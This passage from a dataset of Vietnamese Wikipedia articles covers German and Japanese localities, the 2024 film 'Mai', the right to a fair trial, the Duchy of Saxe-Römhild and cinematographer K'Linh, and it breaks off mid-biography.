id
stringlengths
1
8
url
stringlengths
31
389
title
stringlengths
1
250
text
stringlengths
5
274k
19852553
https://vi.wikipedia.org/wiki/H%C3%B6sbach
Hösbach
Hösbach là một xã và phố thị nằm ở huyện Aschaffenburg, thuộc Regierungsbezirk Unterfranken, bang Bayern, Đức. Nơi đây có dân số khoảng 13.000 người (2020). Tham khảo Liên kết ngoài Trang web chính thức của cộng đồng Aschaffenburg (huyện)
19852554
https://vi.wikipedia.org/wiki/Kahl%20am%20Main
Kahl am Main
Kahl am Main (chính thức Kahl a. Main) là một xã nằm ở huyện Aschaffenburg, thuộc Regierungsbezirk Unterfranken, bang Bayern, Đức. Nơi đây có dân số khoảng 7.500 người. Tham khảo Liên kết ngoài Trang web chính thức của cộng đồng Nhà thờ Công giáo ở Kahl Aschaffenburg (huyện)
19852559
https://vi.wikipedia.org/wiki/Ry%C5%AB%C5%8D%2C%20Shiga
Ryūō, Shiga
là thị trấn thuộc huyện Gamō, tỉnh Shiga, Nhật Bản. Tính đến ngày 1 tháng 10 năm 2020, dân số ước tính thị trấn là 11.789 người và mật độ dân số là 260 người/km2. Tổng diện tích thị trấn là 44,55 km2. Tham khảo Thị trấn của Shiga
19852572
https://vi.wikipedia.org/wiki/Mai%20%28phim%29
Mai (phim)
Mai (viết cách điệu: MɅI) là một bộ phim điện ảnh Việt Nam thuộc thể loại hài – lãng mạn – chính kịch ra mắt vào năm 2024 do Trấn Thành làm đạo diễn và đồng sản xuất, đánh dấu đây là bộ phim điện ảnh thứ ba anh làm đạo diễn, sau Bố già và Nhà bà Nữ. Tác phẩm có sự tham gia diễn xuất của các diễn viên gồm Phương Anh Đào, Tuấn Trần, Trấn Thành, Ngọc Giàu, Khả Như, Uyển Ân, Anh Đức, Việt Anh và Hồng Đào. Đến ngày 1 tháng 3 năm 2024, sau 20 ngày khởi chiếu chính thức, bộ phim đã chính thức cán mốc hơn 500 tỷ đồng (theo Box Office Việt Nam) để vượt qua Nhà bà Nữ, trở thành dự án điện ảnh có doanh thu cao nhất lịch sử phòng vé Việt Nam. Bộ phim cũng đã giúp Trấn Thành trở thành đạo diễn đầu tiên và duy nhất tại Việt Nam có tổng doanh thu hơn 1.000 tỷ đồng sau Bố già, Nhà bà Nữ và Mai. Nội dung Mai là một cô gái sinh ra trong một gia đình bất hạnh với người cha nghiện cờ bạc. Ở độ tuổi đẹp nhất của một người con gái, Mai đã phải trải qua một bi kịch không thể kinh khủng hơn. Vì chuyện này mà Mai phải làm đủ mọi việc để kiếm tiền hòng tồn tại giữa thành phố hoa lệ. Từ đây, số phận đưa đẩy khiến cô trở thành một cô gái massage. Tất nhiên, khác với những người đồng nghiệp, Mai chỉ "bán nghệ chứ không bán thân". Tuy nhiên, công việc này vẫn khiến cô chịu nhiều điều tiếng khi bị xem như gái bán hoa. Cuộc đời cô bất ngờ rẽ sang hướng khác khi cô gặp Trùng Dương – gã hàng xóm có biệt danh là Sâu sống đối diện căn phòng trọ của Mai. Trái ngược với Mai, Dương lại là chàng công tử sinh ra ở vạch đích, chuyển ra ngoài sống chỉ để tìm kiếm cảm hứng sáng tác theo đam mê của mình. Anh ta sống cuộc đời phóng túng, là tay "sát gái" và quyết tâm chiếm lấy Mai sau một lời thách đố với tay bạn thân. Mai là người phụ nữ khác với tất cả những cô gái từng lên giường với Dương. Cô không chạy theo để cầu xin tình yêu của anh, mà chỉ muốn anh tránh càng xa khỏi đời mình càng tốt. Cô bảo rằng mình đã chai sạn cảm xúc với đàn ông, chỉ muốn tập trung kiếm tiền mà thôi. Lúc ban đầu, có lẽ Dương chỉ xem Mai là một mục tiêu chinh phục để anh tìm vui qua đường. Cô càng cự tuyệt, anh càng lấn tới. Thế nhưng càng tiếp xúc nhiều với Mai, trái tim của Dương lại càng rung động nhiều hơn. Để rồi đến cuối cùng, anh trao đi tình yêu chân thành nhất, chỉ mong được gắn bó bên Mai cả đời. Song do hoàn cảnh của hai người quá khác nhau, nên trong tim Mai luôn tồn tại một nỗi sợ. Cô xem hạnh phúc giống như ngày mai, là thứ vĩnh viễn không bao giờ tới. Trái tim cô giờ đây đã quá nhiều vết xước, nó không thể chịu được tổn thương thêm lần nữa. Diễn viên Phương Anh Đào vai Mai Tuấn Trần vai Dương (Sâu) Trấn Thành vai ông Hoàng Hồng Đào vai bà Đào Sầu Anh Thư vai Lành Anh Phạm vai Diễm Trần Tiểu Vy vai vợ Dương Uyển Ân vai Bình Minh Ngọc Giàu vai Má Mi Việt Anh vai chú Út Kim Phương vai Tú Bà Thanh Hằng vai bà Nguyệt Kiều Linh vai bà Kiều Ngọc Nga vai bà Nga Khả Như vai Trinh Anh Đức vai A Tỷ Vũ Quốc Khánh vai Bobby Lý Hạo Mạnh Quỳnh (Quỳnh Lý) vai Tú quản lý spa Lộ Lộ vai bà Phụng Ngọc Nguyễn vai bà Ngọc hàng xóm và một số diễn viên phụ khác. Sản xuất Phát triển Phim được Trấn Thành đầu tư với kinh phí 50 tỷ đồng, 2 năm lên ý tưởng cũng như kịch bản và 1 năm sản xuất. Ban đầu vai diễn bố Mai được Trấn Thành giao cho NSND Việt Anh và tuy nhiên, sau đó anh lại quyết định vào vai mang tính phản diện này. Theo chia sẻ của anh, vì phía nhà sản xuất gây áp lực và anh không thể vào vai chú Út nên đành phải đưa vai chú Út về cho NSND Việt Anh, còn mình thì vào vai bố Mai. Trước những tin đồn về việc tuyển chọn diễn viên theo độ quen biết, đạo diễn Trấn Thành cũng khẳng định, "Tôi không bao giờ đưa một người chỉ vì quen biết mình nhưng vào phim lại không hợp vai. Tôi không bao giờ làm như vậy". Ghi hình Bộ phim được khởi quay trong 47 ngày không liên tục, từ ngày 30 tháng 4 đến ngày 15 tháng 7 năm 2023. Theo Tuấn Trần, trong phân cảnh nóng bỏng thứ hai của bộ phim giữa anh và Phương Anh Đào đã phải thực hiện trong vòng 4 ngày do bị xấu hay sai ánh sáng đều phải quay lại theo ý kiến của Trấn Thành và Diệp Thế Vinh. Theo chia sẻ của anh, đây cũng là dự án đầu tiên mà anh vào vai có phân cảnh nóng bỏng. Đối với các phân cảnh tại chung cư 122 An Bình, ban đầu được cho là sẽ kéo dài đến một tháng nhưng sau khi khảo sát, đoàn làm phim chỉ thực hiện ghi hình trong vòng 7 ngày và sao đó di dời sang một phim trường ở Gò Vấp để thực hiện các cảnh quay khác. Âm nhạc Tổng cộng đã có 5 ca khúc xuất hiện trong bộ phim bao gồm: "Sau lời từ khước" của Phan Mạnh Quỳnh; "Đen đá không đường" của Amee; "Những con sông ngón tay" của Trần Thu Hà; "Bartender" của Ngọt và "Mùa thu mây ngàn" của Từ Công Phụng. "Đen đá không đường" của Amee và "Những con sông ngón tay" của Trần Thu Hà đa số xuất hiện vào cảnh lãng mạn của Dương (Tuấn Trần đóng) và Mai (Phương Anh Đào đóng). "Mùa thu mây ngàn" của Từ Công Phụng là bài hát mà nhân vật Dương (Tuấn Trần đóng) đã đàn cho nhân vật Mai nghe. "Bartender" của Ngọt xuất hiện vào cảnh hành động của Mai (Phương Anh Đào đóng) và Trinh (Khả Như đóng). "Sau lời từ khước" của Phan Mạnh Quỳnh xuất hiện vào cảnh Mai chia tay Dương. Riêng ca khúc "Sau lời từ khước" của Phan Mạnh Quỳnh thậm chí còn trở thành top 1 trending music trên YouTube Việt Nam. Đồng thời, ca khúc cũng dẫn đầu trên các nền tảng nhạc số khác như iTunes, Apple Music, NCT Realtime, Zing MP3. Phát hành Quảng bá Ngày 28 tháng 11 năm 2023, Trấn Thành và đơn vị phát hành đã chính thức công bố bộ phim Mai và ấn định khởi chiếu vào ngày 10 tháng 2 năm 2024, tức mùng 1 Tết Nguyên đán. Bản nhìn đầu tiên và áp phích teaser của bộ phim được phát hành có sự xuất hiện của diễn viên Phương Anh Đào trong vai nữ chính. Đến ngày 10 tháng 1 năm 2024, đơn vị phát hành chính thức ra mắt trailer và áp phích chính thức của phim, hé lộ toàn cảnh câu chuyện tình yêu của nhân vật Mai và Dương. Vào ngày 20 tháng 2, sau khi khởi chiếu hơn một tuần thì ê-kíp bộ phim lần đầu tiên tung áp phích buồn theo đúng chủ đề của bộ phim. Nhân vật Mai được thiết kế ở dạng đang khóc và trên đầu cô được cho là những người tạo nên gánh nặng mà số phận cô phải gánh chịu. Theo chia sẻ của Trấn Thành, "Mai là góc nhìn chân thực về cuộc đời". Cùng lúc phát hành vào ngày mùng 1 Tết Nguyên Đán năm 2024, phim còn có sự cạnh tranh đến từ bộ phim Gặp lại chị bầu của đạo diễn Nhất Trung. Đồng thời, trong thời điểm này cũng có hai bộ phim Việt khác cùng ra rạp là Sáng đènmang chủ đề cải lương của đạo diễn Hoàng Tuấn Cường và Trà của đạo diễn Lê Hoàng. Tuy nhiên, cả hai bộ phim sau đó đều rút khỏi rạp lần lượt vào ngày 11 tháng 2 và ngày 14 tháng 2. Đây cũng là lần đầu tiên trong 10 năm có hai phim Việt chiếu Tết rút khỏi rạp chỉ sau khi khởi chiếu vài ngày. Nhiều người cho rằng lý do là vì "sợ", "áp lực" trước bộ phim Mai của Trấn Thành. Đón nhận Doanh thu Đến hết buổi sáng ngày 13 tháng 2, bộ phim đã chạm mốc 100 tỷ đồng để phá kỷ lục Nhà bà Nữbộ phim có doanh thu cao nhất lịch sử phòng vé Việt Nam sau 3 ngày và một buổi sáng. Đến ngày thứ 8 kể từ khi công chiếu, bộ phim đã cán mốc 300 tỷ đồng, tiếp tục phá kỷ lục trước đó của bộ phim Nhà bà Nữ cũng do Trấn Thành làm đạo diễn. Như vậy, trung bình mỗi ngày bộ phim thu về thêm 37.5 tỷ đồngcon số chưa từng có trong lịch sử phòng vé Việt Nam. Theo VTC News, Mai đã trở thành phim có tốc độ tăng doanh thu nhanh nhất lịch sử Việt Nam. Chỉ riêng ngày Lễ tình nhân, phim đã thu về 44 tỷ đồng với 4.330 suất chiếu, chiếm 68% tổng doanh thu phòng vé trong ngày tại Việt Nam. Kể từ lúc Mai vượt mốc 200 tỷ, Trấn Thành cũng chính thức trở thành đạo diễn đầu tiên tại Việt Nam có tổng doanh thu phòng vé hơn một nghìn tỷ đồng từ các phim của mình bao gồm Bố già với 427 tỷ đồng và Nhà bà Nữ là 475 tỷ đồng. Đến sáng 18 tháng 2, phim vượt mốc 300 tỷ đồng và trở thành phim đạt cột mốc này nhanh nhất lịch sử phòng vé. Đến ngày 1 tháng 3 năm 2024, sau 20 ngày khởi chiếu, phim chính thức cán mốc hơn 500 tỷ đồng để vượt qua Nhà bà Nữ, trở thành phim có doanh thu cao nhất lịch sử phòng vé Việt Nam. Chỉ tính riêng doanh thu 3 bộ phim do Trấn Thành làm đạo diễn lần lượt là Bố già, Nhà bà Nữ và Mai là đã xấp xỉ bằng tổng doanh thu cả năm của Việt Nam trong năm 2023. Tác động và ảnh hưởng Trong thời gian phim được khởi chiếu, nhiều câu thoại trong phim cũng đã được lan truyền trên các nền tảng mạng xã hội như "Life’s too short" (Tạm dịch: Đời ngắn lắm); "Cái mền sạch nhất cũng có bụi"; "Em muốn yêu. Em gần 40 tuổi rồi";... hay đặc biệt là câu nói "Cảm ơn vì đã không đợi em" cũng đã được nhiều người diễn lại và đăng tải trên mạng xã hội TikTok. Tổng cộng đã có hơn 48.000 lượt đăng tải và 1,1 tỷ lượt xem liên quan đến bộ phim điện ảnh Mai trên nền tảng TikTok. Nhiều cuộc tranh luận về cái kết của bộ phim cũng được diễn ra sôi nổi trên mạng xã hội. Trên tờ báo Deadline, nhà báo Liz Shackleton đã cho rằng Việt Nam là nơi có sự cạnh tranh gay gắt nhất về điện ảnh trong dịp Tết Nguyên đán năm 2024 và đưa Việt Nam trở thành thị trường điện ảnh phục hồi nhanh nhất châu Á chỉ sau Ấn Độ. Sau khi được phát hành, bối cảnh chính của bộ phim là một chung cư cũ sinh sống của đa số người Hoa nằm tại đường An BìnhTrần Hưng Đạo ở quận 5, Thành phố Hồ Chí Minh đã được nhiều người tìm đến để chụp ảnh. Đồng thời, một quán hủ tiếu mì cũng ở quận 5, là một phân cảnh trong phim cũng đột ngột trở nên nổi tiếng và phải đóng cửa sớm từ 20 giờ thay vì 3 giờ sáng hôm sau chỉ vì hết nước dùng để phục vụ. Thành tích Đánh giá chuyên môn Nhà phê bình Nguyễn Phong Việt từ VietNamNet nhận định Mai sở hữu một "kịch bản nhiều tầng nghĩa", "sự chau chuốt về bối cảnh, góc máy", tuy nhiên anh chỉ trích 45 phút đầu của tác phẩm quá dài dòng, dẫn đến "những gấp gáp, dồn nén của phần nửa cuối phim". Anh coi Tuấn Trần "không tương xứng ở vị trí nam chính", mà chỉ là "cái nền cho đạo diễn xử lý số phận của Mai thêm kịch tính". Trong khi Mai lại mắc những lỗi cảm xúc khi cô "ngập ngụa trong nước mắt như kiểu đầy nuối tiếc và day dứt, không thể nào buông bỏ được". Anh chỉ ra tuyến nhân vật "đánh mất đi rất nhiều nhịp để có thể tạo nên một đường chạy suôn sẻ". Phong Việt kết luận Trấn Thành đã "hụt hơi" rất rõ với Mai trong việc chuyển từ thể loại "tâm lý, gia đình sang tâm lý, tình cảm". Theo Tiến sĩ Phương LanNguyên Cục trưởng Cục Điện ảnh Việt Nam cho rằng "các tác phẩm của Trấn Thành là những bộ phim có tính giải trí hấp dẫn, có thông điệp xã hội tích cực" mặc dù có nhiều tranh cãi trái chiều. Trên Tạp chí Tri Thức, nhà báo Thuận Minh đã ca ngợi những tiến bộ từ Trấn Thành trong cách xây dựng phim khi từ từ dẫn người xem vào các đặc điểm của nữ chính. Đồng thời, bắt đầu sử dụng hình ảnh nhiều hơn để mô tả câu chuyện, giảm thiểu tính kịch từ các bộ phim trước đó cũng do chính anh làm đạo diễn. Tuy nhiên, nhà báo này lại cho rằng nhịp phim quá nhanh và đồng thời lại bị phô trương những khung ảnh nghệ thuật dư thừa. Đồng thời, có nhiều chi tiết kinh dị chèn vào được anh cho là "kém duyên". Tranh cãi Đạo nhái áp phích Ngày 4 tháng 1 năm 2024, trên mạng xã hội đã lan truyền hình ảnh áp phích của bộ phim lại trùng khớp với bìa sách Hẹn nhau ở một cuộc đời khác. Kiểm duyệt đối tượng dưới 18 tuổi Ngày 21 tháng 2 năm 2024, rất nhiều báo chí đưa tin, lên án vấn đề bộ phim Mai của Trấn Thành dán nhãn phim 18+ nhưng vẫn có học sinh dưới 18 tuổi vào xem. Ông Lê Thanh LiêmChánh thanh tra Bộ Văn hóa, Thể thao và Du lịch cho biết các rạp chiếu phim phải làm đúng quy định, phải đảm bảo tuổi vào xem phim đúng như dán nhãn. Với phim Mai, khi được dán nhãn C18, học sinh phổ thông không được phép vào xem. Ông Liêm cũng cho biết khi kiểm tra nếu đúng có sai phạm như vậy, thanh tra Bộ Văn hóa - Thể thao - Du lịch sẽ xử lý. Hình thức xử lý được quy định cụ thể trong quy định phổ biến phim trong rạp chiếu phim, phổ biến phim trên không gian mạng. Đến sáng ngày 1 tháng 3, Chánh Thanh tra Sở Văn hóa, Thể thao và Du lịch Thành phố Hồ Chí Minh xác nhận xử phạt hành chính bốn rạp chiếu phim trên địa bàn từ 6080 triệu đồng vì để học sinh xem phim Mai. Xem thêm Danh sách phim điện ảnh Việt Nam có doanh thu cao nhất Danh sách phim điện ảnh có doanh thu cao nhất tại Việt Nam Danh sách phim điện ảnh Việt Nam Phim Tết Điện ảnh Việt Nam Tham khảo Liên kết ngoài Mai trên CJ CGV Trailer chính thức trên YouTube Phim tiếng Việt Phim quay tại Việt Nam Phim do Trấn Thành đạo diễn Phim Việt Nam năm 2024 Phim Việt Nam Phim Việt Nam thập niên 2020 Phim lãng mạn Việt Nam Phim hài Việt Nam Phim chính kịch Việt Nam Phim lấy bối cảnh ở Việt Nam Phim Tết Phim của CJ Entertainment Phim của HKFilm
19852585
https://vi.wikipedia.org/wiki/Quy%E1%BB%81n%20%C4%91%C6%B0%E1%BB%A3c%20x%C3%A9t%20x%E1%BB%AD%20c%C3%B4ng%20b%E1%BA%B1ng
Quyền được xét xử công bằng
Quyền được xét xử công bằng hay dịch sát nghĩa hơn là "quyền đối với (quyền có một) phiên xử công bằng" (fair trial). Phiên xử công bằng là phiên xử được "tiến hành một cách công bằng, chính đáng và đúng thủ tục bởi một thẩm phán vô tư". Các quyền khác nhau liên quan đến xét xử công bằng được tuyên bố rõ ràng trong Điều 10 của Tuyên ngôn Quốc tế về Nhân quyền, các Tu chính án thứ tư, thứ năm, thứ sáu, thứ bảy và thứ mười bốn của Hiến pháp Mỹ, Điều 6 của Công ước Châu Âu về Nhân quyền, bên cạnh nhiều bản tuyên ngôn và hiến pháp khác trên khắp thế giới. Không có luật pháp quốc tế mang tính ràng buộc nào định nghĩa thế nào không phải là một phiên xử công bằng; ví dụ, quyền được xét xử bởi bồi thẩm đoàn và các thủ tục quan trọng khác ở các quốc gia khác nhau là khác nhau. Định nghĩa trong luật nhân quyền quốc tế Sẽ rất hữu ích để tìm hiểu về quyền được xét xử công bằng trong các tuyên ngôn [về nhân quyền .ND], thứ vốn đại diện cho tập quán luật học quốc tế (customary international law), chẳng hạn như trong Tuyên ngôn Quốc tế về Nhân quyền (UDHR). Mặc dù UDHR có quy định về một số quyền xét xử công bằng, ví dụ như quyền được suy đoán vô tội cho đến khi bị cáo được chứng minh là có tội, tại các Điều 6, 7, 8 và 11, điều khoản chính là Điều 10 quy định rằng:“Mọi người đều bình đẳng hưởng quyền được xét xử công bằng và công khai bởi một tòa án độc lập và khách quan trong việc xác định các quyền và nghĩa vụ của họ, cũng như về bất cứ cáo buộc hình sự nào đối với họ.”Sau khi UDHR được thông qua một thời gian, quyền được xét xử công bằng đã được định nghĩa chi tiết hơn trong Công ước quốc tế về các quyền dân sự và chính trị (ICCPR). Quyền được xét xử công bằng được bảo vệ tại Điều 14 và 16 của ICCPR, vốn mang tính ràng buộc đối với các quốc gia thành viên trong luật pháp quốc tế. Điều 14(1) quy định về quyền được xét xử công bằng cơ bản. Điều 14(2) quy định về quyền được suy đoán vô tội. Điều 14(3) đưa ra danh sách các bảo đảm tối thiểu trong tố tụng hình sự cho quyền được xét xử công bằng. Điều 14(5) quy định quyền của người bị kết án được yêu cầu tòa án cấp cao hơn xem xét lại bản án hoặc hình phạt đối với mình, và điều 14(7) chống lại nguy cơ bị trừng phạt lần thứ hai (double jeopardy). Điều 14(1) nêu rõ:"Mọi người đều bình đẳng trước các toà án và cơ quan tài phán. Mọi người đều có quyền được xét xử công bằng và công khai bởi một toà án có thẩm quyền, độc lập, không thiên vị và được lập ra trên cơ sở pháp luật để quyết định về lời buộc tội người đó trong các vụ án hình sự, hoặc để xác định quyền và nghĩa vụ của người đó trong các vụ kiện dân sự. Báo chí và công chúng có thể không được phép tham dự toàn bộ hoặc một phần của phiên toà vì lý do đạo đức, trật tự công cộng hoặc an ninh quốc gia trong một xã hội dân chủ, hoặc vì lợi ích cuộc sống riêng tư của các bên tham gia tố tụng, hoặc trong chừng mực cần thiết, theo ý kiến của toà án, trong những hoàn cảnh đặc biệt mà việc xét xử công khai có thể làm phương hại đến lợi ích của công lý. Tuy nhiên mọi phán quyết trong vụ án hình sự hoặc vụ kiện dân sự phải được tuyên công khai, trừ trường hợp vì lợi ích của người chưa thành niên hay vụ việc liên quan đến những tranh chấp hôn nhân hoặc quyền giám hộ trẻ em." Công ước Geneva Công ước Geneva (Geneva Conventions - GC) và Nghị định thư bổ sung (Additional Protocols - AP) yêu cầu rằng bất kì tù nhân chiến tranh nào phải đối mặt với thủ tục tố tụng tư pháp đều phải được xét xử công bằng. Ví dụ, các Điều 102–108 của Công ước Geneva lần thứ ba năm 1949 nêu chi tiết các yêu cầu về sự công bằng trong xét xử tù binh chiến tranh. Các quy định khác yêu cầu “xét xử công bằng và thường xuyên”; "các biện pháp bảo vệ xét xử và bào chữa thích đáng"; một "tòa án khách quan và được thành lập thường xuyên tôn trọng các nguyên tắc được công nhận chung của thủ tục tư pháp thông thường"; một “tòa án được thành lập thường xuyên cung cấp tất cả các bảo đảm tư pháp được các dân tộc văn minh công nhận là không thể thiếu”; và "tòa án đưa ra những đảm bảo thiết yếu về tính độc lập và vô tư." Định nghĩa trong luật nhân quyền khu vực Quyền được xét xử công bằng được quy định trong các Điều 3, Điều 7 và Điều 26 của Hiến chương Châu Phi về quyền con người và quyền nhân dân (ACHPR). Quyền được xét xử công bằng cũng được quy định trong các Điều 5, Điều 6 và Điều 7 của Công ước Châu Âu về Nhân quyền và các điều từ 2 đến 4 của Nghị định thư thứ 7 của công ước. Quyền được xét xử công bằng còn được quy định tại các Điều 3, 8, 9 và 10 của Công ước Châu Mỹ về Nhân quyền . Quan hệ với các quyền khác Đôi khi người ta coi quyền bình đẳng trước pháp luật là một phần của quyền được xét xử công bằng. Quyền này thường được đảm bảo bởi một điều khoản riêng biệt trong các văn kiện nhân quyền quốc tế. Quyền này cho phép các cá nhân được thừa nhận là chủ thể, chứ không phải là đối tượng, của pháp luật. Theo luật nhân quyền quốc tế, quyền này không thể bị vi phạm hay có ngoại lệ. Liên quan chặt chẽ đến quyền được xét xử công bằng là quyền không bị xét xử hồi tố (retroactive). Theo Công ước châu Âu về Nhân quyền và Công ước châu Mỹ về Nhân quyền, quyền này được quy định tách biệt với quyền được xét xử công bằng trong các quy định về nhân quyền và không thể bị giới hạn bởi các quốc gia. Quyền xét xử công bằng Người ta định nghĩa quyền được xét xử công bằng trong nhiều văn kiện nhân quyền quốc tế và khu vực. Đây là một trong những quyền con người được đề cập rộng rãi nhất và tất cả các văn kiện nhân quyền quốc tế đều ghi nhận nó trong nhiều hơn một điều khoản. Quyền được xét xử công bằng là một trong những quyền con người được tranh tụng nhiều nhất và án lệ quan trọng được thiết lập dựa trên việc giải thích quyền con người này. Bất chấp sự khác nhau về cách diễn đạt và trình tự sắp xếp các quyền khác nhau về xét xử công bằng, các văn kiện nhân quyền quốc tế vẫn định nghĩa quyền được xét xử công bằng với những thuật ngữ về cơ bản là giống nhau. Mục đích của quyền này là nhằm đảm bảo quản trị công lý một cách đúng đắn. Ở mức độ tối thiểu, quyền được xét xử công bằng bao gồm các quyền sau đây trong tố tụng dân sự và hình sự: quyền được xét xử bởi một tòa án có thẩm quyền, độc lập và vô tư quyền được điều trần công khai quyền được lắng nghe trong một khoảng thời gian hợp lý quyền có luật sư (the right to counsel) quyền giải thích [luật pháp .ND] (the right to interpretation) Các quốc gia chỉ có thể hạn chế hoặc tước bỏ các quyền được xét xử công bằng trong các trường hợp được cụ thể hóa trong các văn kiện nhân quyền. Trong tố tụng dân sự và hình sự Tòa án Nhân quyền Châu Âu và Tòa án Nhân quyền Liên Mỹ quy định rõ rằng quyền được xét xử công bằng áp dụng cho tất cả các loại thủ tục tố tụng tư pháp, cho dù là dân sự hay hình sự. Theo Tòa án Nhân quyền Châu Âu, Điều 6 của Công ước Châu Âu về Nhân quyền và các quyền xét xử công bằng phải được áp dụng cho tất cả các quyền và nghĩa vụ dân sự được xác lập theo luật pháp trong nước và do đó phải được áp dụng cho tất cả các thủ tục tố tụng dân sự (xem Apeh Uldozotteinek Szovetsege và Những người khác kiện Hungary 2000). Trong thủ tục hành chính Cả Tòa án Nhân quyền Châu Âu và Tòa án Nhân quyền Liên Mỹ đều quy định rõ rằng quyền được xét xử công bằng không chỉ áp dụng cho các thủ tục tố tụng tư pháp mà còn cho cả các thủ tục hành chính. Nếu quyền của một cá nhân bị đe dọa theo luật pháp thì tranh chấp sẽ phải được giải quyết thông qua một quy trình công bằng. Trong thủ tục tố tụng đặc biệt Ở Châu Âu, thủ tục tố tụng đặc biệt cũng có thể phải tuân theo Điều 6 của Công ước Châu Âu về Nhân quyền. Trong vụ án Mills kiện Vương quốc Anh năm 2001, Tòa án Nhân quyền Châu Âu cho rằng tòa án quân sự phải tuân theo Điều 6 vì các bị cáo đã bị buộc tội về những tội mà tòa án coi là tội phạm nghiêm trọng, tấn công bằng vũ khí và gây thương tích. Ủy ban Châu Phi về Nhân quyền và Nhân dân (ACHPR) thường xuyên phải giải quyết các trường hợp dân thường bị tòa án quân sự xét xử vì các tội ác nghiêm trọng. ACHPR cho rằng, trên bề mặt, các tòa án quân sự không đáp ứng được quyền được xét xử công bằng của dân thường (xem Dự án quyền hiến pháp kiện Nigeria). Theo đó, ACHPR tái khẳng định rằng quyền có luật sư là điều cốt lõi để đảm bảo một phiên xử công bằng. ACHPR cho rằng các cá nhân có quyền lựa chọn luật sư của riêng mình và việc trao cho tòa án quân sự quyền phủ quyết luật sư là vi phạm quyền được xét xử công bằng. Tham khảo [[Thể loại:Nhân quyền theo chủ đề]] [[Thể loại:Loại hình xét xử]] [[Thể loại:Tố tụng hình sự]] [[Thể loại:Luật hình sự]]
19852586
https://vi.wikipedia.org/wiki/Sachsen-R%C3%B6mhild
Sachsen-Römhild
Công quốc Sachsen-Römhild (tiếng Đức: Herzogtum Sachsen-Römhild) là một nhà nước của Các công quốc Ernestine thuộc Đế chế La Mã Thần thánh, toạ lạc ở chân đồi phía Nam của Rừng Thuringia. Nó chỉ tồn tại trong 30 năm, từ 1680 đến 1710, chỉ với 1 đời công tước duy nhất, vì ông này qua đời mà không có con nên sau khi tạ thế, lãnh địa và tài sản của Sachsen-Römhild được phân chia cho 4 công tước là anh em của ông. Lãnh thổ của Sachsen-Römhild có nguồn gốc từ việc phân tách Công quốc Sachsen-Gotha sau cái chết của Công tước Ernst Ngoan đạo vào năm 1675, và nó được chia cho người con trai thứ 4 trong số 7 người con của vị công tước này. Lịch sử Sau khi công tước Ernst Ngoan đạo của Sachsen-Gotha qua đời vào ngày 26 tháng 3 năm 1675 tại Gotha, công quốc được chia tách vào ngày 24 tháng 2 năm 1680 cho 7 người con trai còn sống của ông. Vùng đất Sachsen-Römhild thuộc về con trai thứ tư, người lấy tước hiệu là Heinrich, Công tước xứ Saxe-Römhild (1650–1710). Công quốc mới bao gồm các huyện Römhild, Königsberg (sau này bị mất vào tay công tước xứ Sachsen-Hildburghausen vào năm 1683) và Themar, nhà máy rượu ở Behrungen, khu đất của tu viện Milz, và một số vùng đất nhất định của gia tộc Echter ở Mespelbrunn đã bị mất vào năm 1665 vào tay Sachsen. Nhưng Công tước Heinrich chưa bao giờ có toàn bộ chủ quyền đối với các lãnh địa mới của mình. Việc quản lý thực tế được giao cho các cơ quan có thẩm quyền cấp cao hơn ở Gotha - cái gọi là Nexus Gothanus - vì đó là nơi ở của anh trai cả của Heinrich, người trị vì với tước hiệu Friedrich I, Công tước xứ Sachsen-Gotha-Altenburg. Năm 1710, Công tước Heinrich qua đời mà không có con trai thừa tự, lãnh địa của ông được chia cho 4 công quốc – Sachsen-Gotha-Altenburg, Sachsen-Coburg-Saalfeld, Sachsen-Meiningen và Sachsen-Hildburghausen. Sachsen-Gotha-Altenburg chiếm 7/12 lãnh thổ huyện Themar. Sachsen-Coburg-Saalfeld có 5/12 huyện Themar và 1/3 huyện Römhild. Hai phần ba huyện Römhild thuộc về Sachsen-Meiningen. Sachsen-Hildburghausen có phần còn lại – nhà máy rượu Behrungen, điền trang của Milz và tài sản của Echter. Với việc sắp xếp lại Các công quốc Ernestine vào năm 1826, tất cả lãnh thổ của Công quốc Sachsen-Römhild trước đây chỉ tập trung vào Công quốc Sachsen-Meiningen. Tham khảo Thư mục Georg [Karl Friedrich Viktor] von Alten, Handbuch für Heer und Flotte, Band XIII [Handbook for the Army and Navy, Volume XIII] (Berlin, Leipzig, Wien, Stuttgart: Bong & Co., 1913) Hans Patze, Walter Schlesinger (ed.), Geschichte Thüringens, 5. Band, 1. Teil, 1. Teilbd.: Politische Geschichte in der Neuzeit [History of Thuringia, Volume 5, Part 1, Chapter 1: Political History in the Modern Times] (Cologne: Böhlau, 1982) Verein für Sachsen-Meiningische Geschichte und Landeskunde [Association of the History and Culture of Saxe-Meningen] (ed.): Neue Landeskunde des Herzogtums Sachsen-Meiningen, 9, B, Geschichtliches; Teil 1: Thüringische Geschichte [New State History of the Duchy of Saxe-Hildburghausen, 9, B, Histories; Part 1: Thuringian History] (Hildburghausen: Kesselbring, 1903) Các công quốc Ernestine Công quốc Sachsen-Römhild Công quốc Thánh chế La Mã Cựu quốc gia quân chủ
19852587
https://vi.wikipedia.org/wiki/K%27Linh
K'Linh
Nguyễn K'Linh (sinh năm 1975) là nhà quay phim / đạo diễn hình ảnh, anh được coi là một trong những "tay máy vàng" của điện ảnh Việt Nam khi giành được giải Quay phim xuất sắc tại các kỳ Liên hoan phim Việt Nam và Giải Cánh diều. Tiểu sử Nguyễn K'Linh sinh năm 1975 gốc Hà Nội, anh được mẹ đặt tên theo thác nước Dak K'Linh ở Buôn Ma Thuật. Mẹ anh là họa sĩ vẽ tranh lụa Hoàng Minh Hằng, sau khi bố mẹ ly hôn, anh vào thành phố Hồ Chí Minh theo mẹ. Sự nghiệp Ban đầu, K'Linh dự định thi vào trường Mỹ thuật để nối nghiệp của mẹ, nhưng vì mải đi du lịch cùng bạn bè mà trễ hạn nộp đơn. Anh được nhà thơ Phan Vũ giúp nộp đơn vào trường Sân khấu Điện ảnh thành phố Hồ Chí Minh, mục đích ban đầu là học tạm một năm rồi thi vào Mỹ thuật. Sau khi ra trường, anh làm nhiều công việc trong các đoàn phim, tham gia sản xuất MV và trở thành quay phim chính. K'Linh sau đó xin vào làm trong Ban Văn nghệ thuộc cơ quan thường trú của Đài Truyền hình Việt Nam tại Thành phố Hồ Chí Minh. Tại đây, anh làm các công việc vặt phụ giúp đoàn làm video ca nhạc. Chán nản, K'Linh tiếp tục xin vào Hãng phim Truyền hình Thành phố Hồ Chí Minh (TFS). Năm 1999, sau một năm phụ việc, K'Linh bắt đầu làm quay phim chính. Năm 2005, K'Linh được một suất du học Pháp 2 năm với điều kiện phải biết tiếng Pháp. Do đó, anh xin phép hãng TFS nghỉ không lương một năm để học ngoại 